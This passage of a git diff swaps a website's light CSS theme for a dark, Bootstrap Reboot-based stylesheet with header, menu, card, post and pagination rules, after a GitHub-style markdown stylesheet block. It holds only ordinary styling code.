table; +} + +.markdown-body>:first-child { + margin-top: 0!important; +} + +.markdown-body>:last-child { + margin-bottom: 0!important; +} + +.markdown-body a:not([href]) { + color: inherit; + text-decoration: none; +} + +.markdown-body blockquote, +.markdown-body dl, +.markdown-body ol, +.markdown-body p, +.markdown-body pre, +.markdown-body table, +.markdown-body ul { + margin-bottom: 16px; + margin-top: 0; +} + +.markdown-body hr { + background-color: #e1e4e8; + border: 0; + height: .25em; + margin: 24px 0; + padding: 0; +} + +.markdown-body blockquote { + border-left: .25em solid #dfe2e5; + color: #6a737d; + padding: 0 1em; +} + +.markdown-body blockquote>:first-child { + margin-top: 0; +} + +.markdown-body blockquote>:last-child { + margin-bottom: 0; +} + +.markdown-body kbd { + background-color: #fafbfc; + border: 1px solid #c6cbd1; + border-bottom-color: #959da5; + border-radius: 3px; + box-shadow: inset 0 -1px 0 #959da5; + color: #444d56; + display: inline-block; + font-size: 11px; + line-height: 10px; + padding: 3px 5px; + vertical-align: middle; +} + +.markdown-body h1, +.markdown-body h2, +.markdown-body h3, +.markdown-body h4, +.markdown-body h5, +.markdown-body h6 { + font-weight: 600; + line-height: 1.25; + margin-bottom: 16px; + margin-top: 24px; +} + +.markdown-body h1 { + font-size: 2em; +} + +.markdown-body h1, +.markdown-body h2 { + border-bottom: 1px solid #eaecef; + padding-bottom: .3em; +} + +.markdown-body h2 { + font-size: 1.5em; +} + +.markdown-body h3 { + font-size: 1.25em; +} + +.markdown-body h4 { + font-size: 1em; +} + +.markdown-body h5 { + font-size: .875em; +} + +.markdown-body h6 { + color: #6a737d; + font-size: .85em; +} + +.markdown-body ol, +.markdown-body ul { + padding-left: 2em; +} + +.markdown-body ol ol, +.markdown-body ol ul, +.markdown-body ul ol, +.markdown-body ul ul { + margin-bottom: 0; + margin-top: 0; +} + +.markdown-body li { + word-wrap: break-all; +} + +.markdown-body li>p { + margin-top: 16px; +} + +.markdown-body li+li { + margin-top: .25em; +} + +.markdown-body dl { + padding: 0; +} + +.markdown-body dl dt { + font-size: 1em; + font-style: italic; + font-weight: 600; + margin-top: 16px; + padding: 0; +} + +.markdown-body dl dd { + margin-bottom: 16px; + padding: 0 16px; +} + +.markdown-body table { + display: block; + overflow: auto; + width: 100%; +} + +.markdown-body table th { + font-weight: 600; +} + +.markdown-body table td, +.markdown-body table th { + border: 1px solid #dfe2e5; + padding: 6px 13px; +} + +.markdown-body table tr { + background-color: #fff; + border-top: 1px solid #c6cbd1; +} + +.markdown-body table tr:nth-child(2n) { + background-color: #f6f8fa; +} + +.markdown-body img { + background-color: #fff; + box-sizing: content-box; + max-width: 100%; +} + +.markdown-body img[align=right] { + padding-left: 20px; +} + +.markdown-body img[align=left] { + padding-right: 20px; +} + +.markdown-body code { + background-color: rgba(27,31,35,.05); + border-radius: 3px; + font-size: 85%; + margin: 0; + padding: .2em .4em; +} + +.markdown-body pre { + word-wrap: normal; +} + +.markdown-body pre>code { + background: transparent; + border: 0; + font-size: 100%; + margin: 0; + padding: 0; + white-space: pre; + word-break: normal; +} + +.markdown-body .highlight { + margin-bottom: 16px; +} + +.markdown-body .highlight pre { + margin-bottom: 0; + word-break: normal; +} + +.markdown-body .highlight pre, +.markdown-body pre { + background-color: #f6f8fa; + border-radius: 3px; + font-size: 85%; + line-height: 1.45; + overflow: auto; + padding: 16px; +} + +.markdown-body pre code { + background-color: transparent; + border: 0; + display: inline; + line-height: inherit; + margin: 0; + max-width: auto; + overflow: visible; + padding: 0; + word-wrap: normal; +} + +.markdown-body .commit-tease-sha { + color: #444d56; + display: inline-block; + font-family: SFMono-Regular,Consolas,Liberation Mono,Menlo,Courier,monospace; + font-size: 90%; +} + +.markdown-body .blob-wrapper { + border-bottom-left-radius: 3px; + border-bottom-right-radius: 3px; + overflow-x: auto; + overflow-y: hidden; +} + +.markdown-body .blob-wrapper-embedded { + max-height: 240px; + overflow-y: auto; +} + +.markdown-body .blob-num { + -moz-user-select: none; + -ms-user-select: none; + -webkit-user-select: none; + color: rgba(27,31,35,.3); + cursor: pointer; + font-family: SFMono-Regular,Consolas,Liberation Mono,Menlo,Courier,monospace; + font-size: 12px; + line-height: 20px; + min-width: 50px; + padding-left: 10px; + padding-right: 10px; + text-align: right; + user-select: none; + vertical-align: top; + white-space: nowrap; + width: 1%; +} + +.markdown-body .blob-num:hover { + color: rgba(27,31,35,.6); +} + +.markdown-body .blob-num:before { + content: attr(data-line-number); +} + +.markdown-body .blob-code { + line-height: 20px; + padding-left: 10px; + padding-right: 10px; + position: relative; + vertical-align: top; +} + +.markdown-body .blob-code-inner { + color: #24292e; + font-family: SFMono-Regular,Consolas,Liberation Mono,Menlo,Courier,monospace; + font-size: 12px; + overflow: visible; + white-space: pre; + word-wrap: normal; +} + +.markdown-body .pl-token.active, +.markdown-body .pl-token:hover { + background: #ffea7f; + cursor: pointer; +} + +.markdown-body kbd { + background-color: #fafbfc; + border: 1px solid #d1d5da; + border-bottom-color: #c6cbd1; + border-radius: 3px; + box-shadow: inset 0 -1px 0 #c6cbd1; + color: #444d56; + display: inline-block; + font: 11px SFMono-Regular,Consolas,Liberation Mono,Menlo,Courier,monospace; + line-height: 10px; + padding: 3px 5px; + vertical-align: middle; +} + +.markdown-body :checked+.radio-label { + border-color: #0366d6; + position: relative; + z-index: 1; +} + +.markdown-body .tab-size[data-tab-size="1"] { + -moz-tab-size: 1; + tab-size: 1; +} + +.markdown-body .tab-size[data-tab-size="2"] { + -moz-tab-size: 2; + tab-size: 2; +} + +.markdown-body .tab-size[data-tab-size="3"] { + -moz-tab-size: 3; + tab-size: 3; +} + +.markdown-body .tab-size[data-tab-size="4"] { + -moz-tab-size: 4; + tab-size: 4; +} + +.markdown-body .tab-size[data-tab-size="5"] { + -moz-tab-size: 5; + tab-size: 5; +} + +.markdown-body .tab-size[data-tab-size="6"] { + -moz-tab-size: 6; + tab-size: 6; +} + +.markdown-body .tab-size[data-tab-size="7"] { + -moz-tab-size: 7; + tab-size: 7; +} + +.markdown-body .tab-size[data-tab-size="8"] { + -moz-tab-size: 8; + tab-size: 8; +} + +.markdown-body .tab-size[data-tab-size="9"] { + -moz-tab-size: 9; + tab-size: 9; +} + +.markdown-body .tab-size[data-tab-size="10"] { + -moz-tab-size: 10; + tab-size: 10; +} + +.markdown-body .tab-size[data-tab-size="11"] { + -moz-tab-size: 11; + tab-size: 11; +} + +.markdown-body .tab-size[data-tab-size="12"] { + -moz-tab-size: 12; + tab-size: 12; +} + +.markdown-body .task-list-item { + list-style-type: none; +} + +.markdown-body .task-list-item+.task-list-item { + margin-top: 3px; +} + +.markdown-body .task-list-item input { + margin: 0 .2em .25em -1.6em; + vertical-align: middle; +} + +.markdown-body hr { + border-bottom-color: #eee; +} + +.markdown-body .pl-0 { + padding-left: 0!important; +} + +.markdown-body .pl-1 { + padding-left: 4px!important; +} + +.markdown-body .pl-2 { + padding-left: 8px!important; +} + +.markdown-body .pl-3 { + padding-left: 16px!important; +} + +.markdown-body .pl-4 { + padding-left: 24px!important; +} + +.markdown-body .pl-5 { + padding-left: 32px!important; +} + +.markdown-body .pl-6 { + padding-left: 40px!important; +} + +.markdown-body .pl-7 { + padding-left: 48px!important; +} + +.markdown-body .pl-8 { + padding-left: 64px!important; +} + +.markdown-body .pl-9 { + padding-left: 80px!important; +} + +.markdown-body .pl-10 { + padding-left: 96px!important; +} + +.markdown-body .pl-11 { + padding-left: 112px!important; +} + +.markdown-body .pl-12 { + padding-left: 128px!important; +} diff --git a/public/css/main.css b/public/css/main.css index 41dfb48c..a91d5d02 100644 --- a/public/css/main.css +++ b/public/css/main.css @@ -1,1172 +1,1043 @@ +/* CSS Reset (based on Bootstrap Reboot v4.1.3) */ +*, +*::before, +*::after { + box-sizing: border-box; +} -/* .container-fluid { - padding-left: 0 !important; - padding-right: 0 !important; - padding-top: 0 !important; - padding-bottom: 0 !important; -} */ -:root { +html { + font-family: sans-serif; + line-height: 1.15; + -webkit-text-size-adjust: 100%; + -ms-overflow-style: scrollbar; + -webkit-tap-highlight-color: transparent; +} - --grey-l4: #f7f7f7; - --grey-l3: #dedede; - --grey-l2: #c6c6c6; - --grey-l1: #adadad; - --grey:#959595; - --grey-d1: #7c7c7c; - --grey-d2: #646464; - --grey-d3: #4b4b4b; - --grey-d4: #333333; +@-ms-viewport { + width: device-width; +} - --link-color: #428bca; - --active-color: #38849e; +article, +aside, +details, +dialog, +figcaption, +figure, +footer, +header, +hgroup, +main, +nav, +section, +summary { + display: block; +} - --text-dark: #333333; - --text-grey: #646464; - --text-light: #959595; +body { + max-width: 1200px; + margin: 0 auto; + font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; + font-size: 1rem; + font-weight: 400; + line-height: 1.4; + color: #ddd; + text-align: left; + background-color: #1b1b1b; + -webkit-font-smoothing: antialiased; } -/* +hr { + margin: 20px 0; + border: 0; + border-top: 1px solid #444; +} -Layout +h1, +h2, +h3, +h4, +h5, +h6 { + margin-top: 0; + margin-bottom: 0.5rem; + font-weight: 600; +} -*/ +h1 { + font-size: 2rem; +} -body { - font-family: -apple-system,BlinkMacSystemFont,'Raleway', "Helvetica Neue", Arial, "PingFang SC", "Lantinghei SC", "Microsoft YaHei", sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol"; - /* color: #333; */ - color: var(--text-dark); - line-height: 1.6; +h2 { + font-size: 1.75rem; } -img { - /* margin: 1rem 0; */ - max-width: 100%; +h3 { + font-size: 1.5rem; } -a { - /* color: #428bca; */ - color: var(--link-color); - /* font-weight: 400; */ +h4 { + font-size: 1.375rem; } -/* post-card use */ -/* .a-inherit a { - color: inherit; - font-weight: inherit; -} */ +h5 { + font-size: 1.25rem; +} -a:hover, a:active { - /* color: #38849e; */ - color: var(--active-color); +h6 { + font-size: 1.125rem; } +p { + margin-top: 0; + margin-bottom: 1rem; +} -.active-color .active *, -.active-color .active, -.active-color a:hover, -.active-color a:active, -a:hover .active-color, -a:active .active-color { - /* color: #38849e; - border-color: #38849e; */ - color: var(--active-color); - border-color: var(--active-color); +abbr[title] { + text-decoration: none; + cursor: help; + border-bottom: 1px dotted #c3c3c3; } +address { + margin-bottom: 1rem; + font-style: normal; + line-height: inherit; +} -.bg-light { - /* background-color: #f7f7f7!important; */ - background-color: var(--grey-l4)!important; +ol, +ul, +dl { + padding-left: 25px; + margin-top: 0; + margin-bottom: 1rem; } -.white-bg { - background: white; +@media screen and (min-width: 480px) { + ol, + ul, + dl { + padding-left: 2.5rem; + } } -.text-grey { - color: var(--text-grey); +ol ol, +ul ul, +ol ul, +ul ol { + margin-bottom: 0; } -.text-light { - color: var(--text-light); +dt { + font-weight: 700; } -.container.content { - padding: 0 8rem; +dd { + margin-bottom: .5rem; + margin-left: 0; } -/* .hr-light { - border-top: 3px solid white; - width: 80px; -} */ +blockquote { + padding: 0 1rem; + margin: 0 0 1rem 1rem; + border-left: 5px solid #f8ae00; +} +blockquote footer { + text-align: right; +} -.post-main-wrapper { - margin: 3rem 2rem 5rem; +b, +strong { + font-weight: bolder; } -.post-wrapper { - /* margin: 0 1rem 3rem 1rem; */ - margin: 0 2% 5% 2%; - /* padding: 2.5rem 4rem; */ - padding: 4% 7%; - box-shadow: 0 2px 5px 0 rgba(0,0,0,.16), 0 2px 10px 0 rgba(0,0,0,.12); - /* box-shadow: 0 2px 6px 0 rgba(0, 0, 0, 0.1), 0 3px 8px 0 rgba(0, 0, 0, 0.12); */ - border-radius: .25rem; +small { + font-size: 80%; } -.single-post { - /* margin: 1.5rem 1rem 2rem 3rem; */ - margin: 3% 2% 4% 5%; - /* padding: 4rem 6rem; */ - padding: 5.5% 8.4%; +sub, +sup { + position: relative; + font-size: 75%; + line-height: 0; + vertical-align: baseline; } -.post-header { - padding-bottom: 1rem; +sub { + bottom: -.25em; } -.post-header .view { +sup { + top: -.5em; +} - margin: 1rem 0; - margin-top: 2rem; +a { + color: #f8ae00; + text-decoration: none; + background-color: transparent; +} - width: 100%; - max-height: 80vh; - overflow: hidden; - /* vertical-align: middle; */ +a:hover { + color: #fff; + text-decoration: underline; +} - display: flex; - align-items: center; +pre, +code, +kbd, +samp { + font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; + font-size: 1em; } -.post-header .view img { - width: 100%; - margin-top: 0; - margin-bottom: 0; +pre { + padding: 1.25rem; + margin-top: 0; + margin-bottom: 1rem; + overflow: auto; + -ms-overflow-style: scrollbar; + background-color: #111; } -.post-heading { - /* padding-top: .5rem; */ - /* padding-bottom: .5rem; */ - font-size: 2rem; - font-weight: 500; +code { + padding: 1px 3px; + color: #e44; + background-color: #111; + border-radius: 2px; } -.single-post .post-heading { - padding-top: .5rem; - padding-bottom: .5rem; - font-size: 2.5rem; - font-weight: 500; +pre code { + padding: 0; + color: inherit; + background-color: inherit; + border-radius: 0; } +kbd { + padding: 2px 3px; + font-weight: 700; + color: #111; + background-color: #888; +} -.post-meta { - /* color: #9e9e9e; */ - color: var( --text-light); - font-size: 0.85rem; - font-weight: 400; - line-height: 1.1rem; - list-style: none; - padding-left: 0; - padding-right: 0; - margin-bottom: 2px; - padding-top: .25rem; - vertical-align: middle; +figure { + display: inline-block; + margin: 0 0 1rem; } -a:hover .post-meta, a:active .post-meta, -a:hover.post-meta, a:active.post-meta { - color: var(--active-color); +figcaption { + padding: .5rem; + background-color: #111; } -.post-header .post-meta { - font-size: 1rem; +img { + max-width: 100%; + vertical-align: middle; + border-style: none; } -.single-post .post-meta { - font-size: 1rem; +svg { + overflow: hidden; } -/* a:hover .post-meta, a:active .post-meta { - color: var(--active-color); -} */ +table { + width: 100%; + margin-bottom: 1rem; + border-spacing: 0; + border-collapse: collapse; + border-top: 1px solid #ddd; + border-left: 1px solid #ddd; +} -.post-meta a { - /* color: #666; */ - color: var(--text-grey); +td, +th { + padding: .3125rem .625rem; + border-right: 1px solid #ddd; + border-bottom: 1px solid #ddd; } +caption { + padding-top: 0.75rem; + padding-bottom: 0.75rem; + color: #6c757d; + text-align: left; + caption-side: bottom; +} -.post-meta a:hover, .post-meta a:active { - /* color: #38849e; */ - color: var(--active-color); +th { + font-weight: 700; } +label { + display: inline-block; + margin-bottom: 0.5rem; +} -.middot:before { - content: "•"; +button { + border-radius: 0; } -.div-x .middot, -.li-x .middot { - font-size: 6px; - margin: 0; - padding: 0; - display: inline; - vertical-align: middle; +button:focus { + outline: 1px dotted; + outline: 5px auto -webkit-focus-ring-color; } +input, +button, +select, +optgroup, +textarea { + margin: 0; + font-family: inherit; + font-size: inherit; + line-height: inherit; +} -/* li-x 表示横过来的li */ -.li-x li { - padding: 0 8px; - display: inline-block; +button, +input { + overflow: visible; } -.div-x div { - display: inline-block; +button, +select { + text-transform: none; } -.flex-reverse { - display: -ms-flexbox; - display: -webkit-flex; - display: flex; - flex-direction: row-reverse; - -webkit-flex-direction: row-reverse; +button, +[type="button"], +[type="reset"], +[type="submit"] { + -webkit-appearance: button; } -h1, h2, h3, h4, h5, h6 { - font-weight: 500; +button::-moz-focus-inner, +[type="button"]::-moz-focus-inner, +[type="reset"]::-moz-focus-inner, +[type="submit"]::-moz-focus-inner { + padding: 0; + border-style: none; } +input[type="radio"], +input[type="checkbox"] { + box-sizing: border-box; + padding: 0; +} -.post-content { - margin-top: 1.25rem; - margin-bottom: 2rem; +input[type="date"], +input[type="time"], +input[type="datetime-local"], +input[type="month"] { + -webkit-appearance: listbox; } +textarea { + overflow: auto; + resize: vertical; +} +fieldset { + min-width: 0; + padding: 0; + margin: 0; + border: 0; +} -footer .copyright { - overflow: hidden; - /* background-color: rgba(0, 0, 0, 0.2); */ - /* color: rgba(255, 255, 255, 0.6); */ - color: var(--text-light); - font-size: 0.875rem; +legend { + display: block; + width: 100%; + max-width: 100%; + padding: 0; + margin-bottom: .5rem; + font-size: 1.5rem; + line-height: inherit; + color: inherit; + white-space: normal; } -/* +[type="number"]::-webkit-inner-spin-button, +[type="number"]::-webkit-outer-spin-button { + height: auto; +} -post card +[type="search"] { + outline-offset: -2px; + -webkit-appearance: none; +} -*/ +[type="search"]::-webkit-search-decoration { + -webkit-appearance: none; +} -.post-card a { - color: inherit; - font-weight: inherit; +::-webkit-file-upload-button { + font: inherit; + -webkit-appearance: button; } -.post-card a:hover *, .post-card a:hover, -.post-card a:active *, .post-card a:active { - color: var(--active-color); +output { + display: inline-block; } -.post-card .view { - margin: 1rem 0; - margin-bottom: 2rem; +summary { + display: list-item; + cursor: pointer; +} - width: 100%; - max-height: 50vh; - overflow: hidden; +mark { + background-color: #f8ae00; +} - display: flex; - align-items: center; +.mt { + margin-top: 1rem; } -.post-card .view img { - width: 100%; - margin-top: 0; - margin-bottom: 0; - -moz-transition: -moz-transform 0.2s ease-out; - -webkit-transition: -webkit-transform 0.2s ease-out; - -ms-transition: -ms-transform 0.2s ease-out; - transition: transform 0.2s ease-out; +.mb { + margin-bottom: 1rem; } -.post-card .view:hover img, -.post-card a:hover img { - -moz-transform: scale(1.05); - -webkit-transform: scale(1.05); - -ms-transform: scale(1.05); - transform: scale(1.05); +.mla { + margin-left: auto; } +.tal { + text-align: left; +} -/* +.tar { + text-align: right; +} -Markdown +.btn { + background-color: #111; + border-radius: 3px; +} -*/ +.btn:hover { + color: #fff; + background-color: #000; +} -.markdown h1, .markdown h2, .markdown h3, -.markdown h4, .markdown h5, .markdown h6 { - font-weight: 500; +/* Header */ +.header { + margin: 0 0 .3125rem; + overflow: auto; + background-color: #2a2a2a; + border-color: #333; + border-style: solid; + border-width: 0 0 1px; } -.markdown h1 { - font-size: 2.5rem; - margin-bottom: 1.8rem; - margin-top: 2.3rem; +.block { + padding: .875rem; + margin: .1875rem 0; + color: #eee; + background-color: #2a2a2a; + border-color: #333; + border-style: solid; + border-width: 1px 0; } -.markdown h2 { - font-size: 2rem; - margin-bottom: 1.5rem; - margin-top: 2rem; +@media screen and (min-width: 480px) { + .header { + margin: 0 .3125rem .3125rem; + border-width: 0 1px 1px; + } + + .block { + margin: .625rem .3125rem; + border-width: 1px; + } } -.markdown h3 { - font-size: 1.75rem; - margin-bottom: 1.2rem; - margin-top: 1.7rem; +.logo { + display: inline-block; + padding: .625rem .875rem; + font-size: 16px; + font-weight: 700; } -.markdown h4 { - font-size: 1.5rem; - margin-bottom: 1rem; - margin-top: 1.25rem; +.logo:hover { + color: #f8ae00; + text-decoration: none; } -.markdown h5 { - font-size: 1.25rem; - margin-bottom: 1rem; - margin-top: 1.25rem; +.js .logo { + float: left; } -.markdown h6 { - font-size: 1rem; - margin-bottom: 1rem; - margin-top: 1.25rem; +/* Menu */ +.main-menu { + display: block; + font-size: 0; + font-weight: 700; } -.markdown b, .markdown strong { - font-weight: 600; +.no-js .main-nav__btn { + display: none; } -/* like a key */ -.markdown wrap { - border-radius: 7px; - padding: .15em .5em; - margin-left: 0.1em; - margin-right: 0.1em; - /* border: 1px solid #ebebeb; */ - border: 1px solid var(--grey-l3); - /* background: #f8f8f8; */ - background: var(--grey-l4); - font-size: 87.5%; +.main-nav__btn { + display: block; + float: right; + padding: 0; + font-size: 1em; + cursor: pointer; + background-color: #2a2a2a; + border: 0; + border-left: 1px solid #333; + outline: 0; + fill: #f8ae00; } -.markdown pre, .markdown code { - /* background-color: #f7f7f7; */ - background-color: var(--grey-l4); - /* font-size: 1rem; */ +.main-nav__btn:focus, +.main-nav__btn:hover { + color: #000; } -/* enclosed by single backtick (`) */ -.markdown code { - padding: .15em .5em; - margin-left: 0.1em; - margin-right: 0.1em; - border-radius: 4px; +.main-nav__btn-box { + position: relative; + display: inline-flex; + align-items: center; + justify-content: center; + width: 42px; + height: 42px; } -/* enclosed by 3 backticks (```) */ -.markdown pre { - display: block; - margin-top: 1rem; - margin-bottom: 2rem; - padding: 1rem; - line-height: 1.5em; - /* white-space: pre; */ - /* white-space: pre-wrap; */ - /* word-break: break-all; */ - /* word-wrap: break-word; */ - white-space: pre; - tab-size: 4; +:focus > .main-nav__btn-box { + box-shadow: inset 0 0 1px 3px #4285f4; } -.markdown pre code { - padding: 0; +button:not(:-moz-focusring):focus > .main-nav__btn-box { + box-shadow: none; } -.markdown p { - margin-top: 0.75rem; - /* margin-bottom: 0.75em; */ +.main-nav__btn:focus, +.main-nav__btn-box:focus { + outline: none; } -.markdown a { - /* color: #428bca; */ - color: var(--link-color); +.main-nav__btn .icon-menu__burger { + display: inline; } -.markdown a:hover, .markdown a:active { - /* color: #38849e; */ - color: var(--active-color); +.main-nav__btn .icon-menu__x { + display: none; } -.markdown blockquote { - padding: .5rem 1rem; - margin: .8rem 0; - /* color: #7a7a7a; */ - /* color: var(--grey-d1); */ - color: var(--text-grey); - /* border-left: .25rem solid #e5e5e5; */ - border-left: .25rem solid var(--grey-l3); - +.main-nav__btn--active .icon-menu__burger { + display: none; } -.markdown blockquote p:last-child { - margin-bottom: 0; +.main-nav__btn--active .icon-menu__x { + display: inline; } -.markdown table { - margin: 0 auto; - margin-bottom: 1rem; - /* width: 100%; */ - vertical-align: middle; - min-width: 60%; +.main-nav__list { + font-size: 0; } -.markdown table th { - font-weight: 600; - text-align: center; +.main-nav__item { + font-size: 1rem; + font-weight: 700; + border-top: 1px solid #333; } -.markdown td, .markdown th { - padding: .25rem .5rem; - /* border: 1px solid #e5e5e5; */ - border: 1px solid var(--grey-l3); +.main-nav__item:hover { + background-color: #444; } -.markdown tbody tr:nth-child(odd) td, -.markdown tbody tr:nth-child(odd) th { - /* background-color: #f7f7f7; */ - background-color: var(--grey-l4); - } +.main-nav__item--active { + padding: .625rem; +} -.markdown img { - margin: 1rem 0; - max-width: 100%; - -webkit-border-radius: .25rem; - border-radius: .25rem; - box-shadow: 0 2px 5px 0 rgba(0,0,0,.16), 0 2px 10px 0 rgba(0,0,0,.12); - -webkit-box-shadow: 0 2px 5px 0 rgba(0,0,0,.16), 0 2px 10px 0 rgba(0,0,0,.12); +.main-nav__item--active:hover { + background-color: transparent; } -.markdown .no-border img { - box-shadow: none; - -webkit-box-shadow: none; +.main-nav__link { + display: block; + padding: .625rem .875rem; } +.main-nav__list { + padding: 0; + margin: 0; + list-style: none; +} +.js .main-nav__list { + display: none; +} -/* - - tags - - */ +.js .main-nav__btn { + display: block; +} -.tags-sm, .tags-md { - color: #666; - font-weight: 400; - line-height: 1rem; - list-style: none; - padding-left: 0; - padding-right: 0; - vertical-align: middle; +.main-nav__list.main-nav__list--active { + display: block; + width: 100%; + clear: both; + background-color: #2a2a2a; } -.tags-sm a, .tags-md a { - /* border: 1px solid #9e9e9e; */ - border: 1px solid var(--text-light); - background-color: transparent; - /* color: #9e9e9e; */ - color: var(--text-light); +@media (min-width: 920px) { + .logo { + display: inline-block; + } - padding: .2rem 0.5rem; - font-size: .65rem; + .js .main-nav__list { + display: block; + } - -webkit-border-radius: 999em; - border-radius: 999em; - vertical-align: middle; -} + .js .main-nav__btn { + display: none; + } + + .main-nav__btn { + display: none; + } + + .main-nav { + display: flex; + } + + .main-nav__item { + display: inline-block; + border: 0; + } + + .main-nav__list--right { + margin-left: auto; + } + + .main-nav__list.main-nav__list--active { + position: initial; + border: 0; + } -.single-post .tags-sm a, .tags-md a { - font-size: .75rem; - padding: .25rem 0.75rem; + .main-nav__link { + padding: .625rem; + } } -.tags-sm a:hover, .tags-sm a:active, -.tags-md a:hover, .tags-md a:active { - /* color: #38849e; */ - color: var(--active-color); - /* border: 1px solid #38849e; */ - border: 1px solid var(--active-color); - box-shadow: 0 1px 3px 0 rgba(0,0,0,.16), 0 2px 10px 0 rgba(0,0,0,.12); +/* Taxonomies */ +.page { + margin-bottom: .3125rem; } -.tags-sm li { - padding: 7px 3px; +.page__title { + margin-bottom: 0; } -.tags-md li { - padding: 7px 3px; +.page__content { + margin-top: 1rem; } +.page__content--notitle { + margin: 0; +} -/* +.page__content p:last-child { + margin-bottom: 0; +} - Navbar +/* Cards UI */ +.cards { + display: flex; + flex-wrap: wrap; +} -*/ -.navbar.scrolling-navbar { - padding-top: 10px; - padding-bottom: 10px; +.card { + display: flex; + width: 100%; } -.navbar.scrolling-navbar.top-nav-collapse { - padding-top: 10px; - padding-bottom: 10px; +.card:first-child { + border-top: 1px solid #333; } -.navbar-brand { - padding-top: 1px; - padding-bottom: 1px; +.card__box { + display: flex; + flex-direction: column; + width: 100%; + margin: 0; + border-width: 0 0 1px; } -.navbar .navbar-nav .active { - font-weight: 600; +@media screen and (min-width: 480px) { + .card { + padding: .3125rem; + } + + .card:first-child { + border: 0; + } + + .card__box { + border-width: 1px; + } } +@media screen and (min-width: 720px) { + .card--2col { + width: 50%; + } + + .card--3col { + width: 50%; + } +} +@media screen and (min-width: 860px) { + .card--3col { + width: 33.333%; + } +} -/* +/* Post */ +.title-excerpt { + font-size: 1.25rem; +} -Avatar +.post__featured { + width: 100%; + min-height: 1px; /* Workaround for IE11 flexbox img height issue https://github.com/philipwalton/flexbugs/issues/75 */ + text-align: center; + background-color: #1f1f1f; +} -*/ +.featured__figcaption { + width: 100%; + padding: 1rem; + text-align: left; + background-color: #111; +} -.avatar { - border-radius: 50%; - box-shadow: 0px 2px 3px rgba(0, 0, 0, 0.2); - max-width: 300px; - -webkit-mask-image: url(../img/mask/circle.svg)!important; - mask-image: url(../img/mask/circle.svg)!important; - -webkit-mask-repeat: no-repeat; - mask-repeat: no-repeat; - width: 50px; +.featured__credit::before { + content: "© "; } -.avatar-md { - width: 10vmin; +.featured__credit { + font-size: .875rem; + font-style: normal; + color: #888; } -.avatar-lg { - width: 30vmin; +.post__content { + flex: 1 0 auto; + margin: 0; + overflow: auto; + color: #c3c3c3; } -/* 竖屏时宽度小于等于758px */ -@media (max-width: 767px) and (orientation : portrait) { - .avatar-lg { - width: 100px; - float: none!important; - } +.post__content p:last-child { + margin-bottom: 0; +} - .carousel-content .p { - font-size: 1rem!important; - } +.post__meta { + font-size: .875rem; + color: #999; +} - .carousel-content .display-4{ - font-size: 2rem!important; - } +.post__meta-published, +.post__meta-lastmod { + display: block; +} - /* .carousel-content { - top: 20%!important; - } */ +.post__tags { + margin-top: 2rem; +} - .carousel-content div { - font-size: 1rem!important; - } +.post__tag { + display: inline-block; + padding: .25rem .5rem; + margin: .25rem; + line-height: 1.5; +} +.toc { + padding: .5rem; + margin-bottom: 1rem; + color: #f8ae00; + list-style: none; + background-color: #111; } -/* 横屏时高度小于等于576px */ -@media (max-height: 576px) and (orientation : landscape){ +.toc[open] { + color: #fff; +} - .carousel-content .p { - font-size: 1rem!important; - } +.toc__title { + padding: .25rem; + font-weight: 700; +} - .carousel-content .display-4{ - font-size: 2rem!important; - } +.toc nav { + padding: .5rem 0 .5rem .5rem; +} - /* .carousel-content { - top: 20%!important; - } */ +.toc ul { + padding: 0; + margin: 0; + list-style: none; +} - .carousel-content div { - font-size: 1rem!important; - } +.toc ul ul ul a { + padding-left: 25px; +} +.toc ul ul ul ul a { + padding-left: 45px; } +.toc ul ul ul ul ul a { + padding-left: 65px; +} +.toc ul ul ul ul ul ul a { + padding-left: 85px; +} -/* +.post__footer { + display: flex; + flex-wrap: wrap; + justify-content: space-between; + margin-top: 1.5rem; +} -carousel +.post__tags { + display: flex; + flex-basis: 100%; + flex-wrap: wrap; + margin: 0 -.25rem auto; +} -*/ +.post__share { + display: flex; + flex-basis: 100%; + flex-wrap: wrap; + margin: 0 -.25rem auto; +} +@media screen and (min-width: 720px) { + .post__tags { + flex: 1 0 65%; + justify-content: flex-start; + } + .post__share { + flex: 1 0 35%; + justify-content: flex-end; + } +} -.headfont { - font-family: 'Raleway', "Helvetica Neue", Arial, "PingFang SC", "Lantinghei SC", "Microsoft YaHei", sans-serif !important; +.share__link { + margin: .25rem; + font-size: 0; +} +.share__link:hover { + margin: .25rem; + text-decoration: none; } -.carousel a, .carousel a:hover, .carousel a:active { - color: inherit; +.share__icon { + width: 32px; + height: 32px; + fill: #f8ae00; + stroke: #f8ae00; } -.carousel-content { - position: absolute; - right: 0; - top: 30%; - left: 0; - /* z-index: 15; */ - /* display: -ms-flexbox; - display: flex; */ - -ms-flex-pack: center; - justify-content: center; - padding-left: 0; - /* margin-right: 15%; - margin-left: 15%; */ - list-style: none; +.share__icon:hover { + fill: #fff; + stroke: #fff; } -.pull-right { - float: right; +.alignleft { + float: left; + margin: 1rem 1rem 1rem 0; } -.carousel-indicators, .carousel-control-prev, .carousel-control-next { - z-index: 30; + +.alignright { + float: right; + margin: 1rem 0 1rem 1rem; } +.center { + text-align: center; +} +/* Authorbox */ +.author { + display: flex; + align-items: flex-start; +} -/* +.author__avatar { + margin-right: .875rem; + margin-bottom: 0; +} -toc-nav scrollspy +.author__img { + border-radius: 50%; +} -*/ +.author__body { + flex: 1; +} -.toc-nav { - position: -webkit-sticky!important; - position: sticky!important; - top: 6rem; - overflow-y: auto; +.author__name { + margin-bottom: .625rem; + font-weight: 700; +} - - -ms-flex-order: 2; - order: 2; - padding-top: 1.5rem; - padding-bottom: 1.5rem; - font-size: .875rem; +/* Comments */ +.comments { + margin-top: .625rem; + margin-bottom: .625rem; } -/* .toc-nav[data-toggle=page-scrollspy] .nav-item+ul { - display: none; - padding-bottom: 10px; -} */ +/* Related */ +.related { + margin-top: .625rem; +} -#TableOfContents { - margin-left: -1rem; +/* Pagination */ +.pagination { + margin: .3125rem 0; + text-align: center; + background-color: #2a2a2a; } +@media screen and (min-width: 480px) { + .pagination { + margin: .3125rem .3125rem .625rem; + } +} -/* .toc-nav .nav-item { - width: 100%; -} */ +.pagination__item { + display: inline-block; + padding: .25rem .625rem; + font-weight: 700; + border: 1px solid; +} -/* .toc-nav a.nav-link { - font-size: .8rem; - font-weight: 400; - line-height: 1.1rem; - padding: 0 5px; 